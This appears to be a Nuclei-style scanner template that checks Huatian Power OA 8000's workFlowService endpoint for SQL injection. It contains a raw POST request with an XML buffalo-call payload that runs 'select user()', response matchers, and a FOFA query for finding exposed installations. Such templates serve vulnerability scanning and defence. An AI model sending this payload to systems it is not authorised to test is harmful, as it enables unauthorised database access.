huatian-oa8000-sqli: Huatian Power OA 8000 workFlowService - SQL injection

id: huatian-oa8000-sqli

info:
  name: Huatian Power OA 8000 workFlowService - SQL injection
  author: SleepingBag945
  severity: critical
  description: |
    There is a SQL injection vulnerability in the workFlowService interface of Huatian Power OA 8000 version, through which an attacker can obtain sensitive database information
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E5%8D%8E%E5%A4%A9OA/%E5%8D%8E%E5%A4%A9%E5%8A%A8%E5%8A%9BOA%208000%E7%89%88%20workFlowService%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="华天动力-OA8000"
  tags: huatian,oa,sqli,vuln

http:
  - raw:
      - |
        POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1
        Host: {{Hostname}}

        <buffalo-call>
        <method>getDataListForTree</method>
        <string>select user()</string>
        </buffalo-call>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/xml")'
          - 'contains_all(body,"<buffalo-reply>" ,"<string>user()")'
        condition: and
# digest: 4a0a0047304502210097e06939a78a8fbe67eaf53d10dd193791d9d05c05dcf18475d34edf84db1c53022029da31705736648c9c3ef64b6e97f8198808a87b449c9d070d44acdd042d1dbe:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.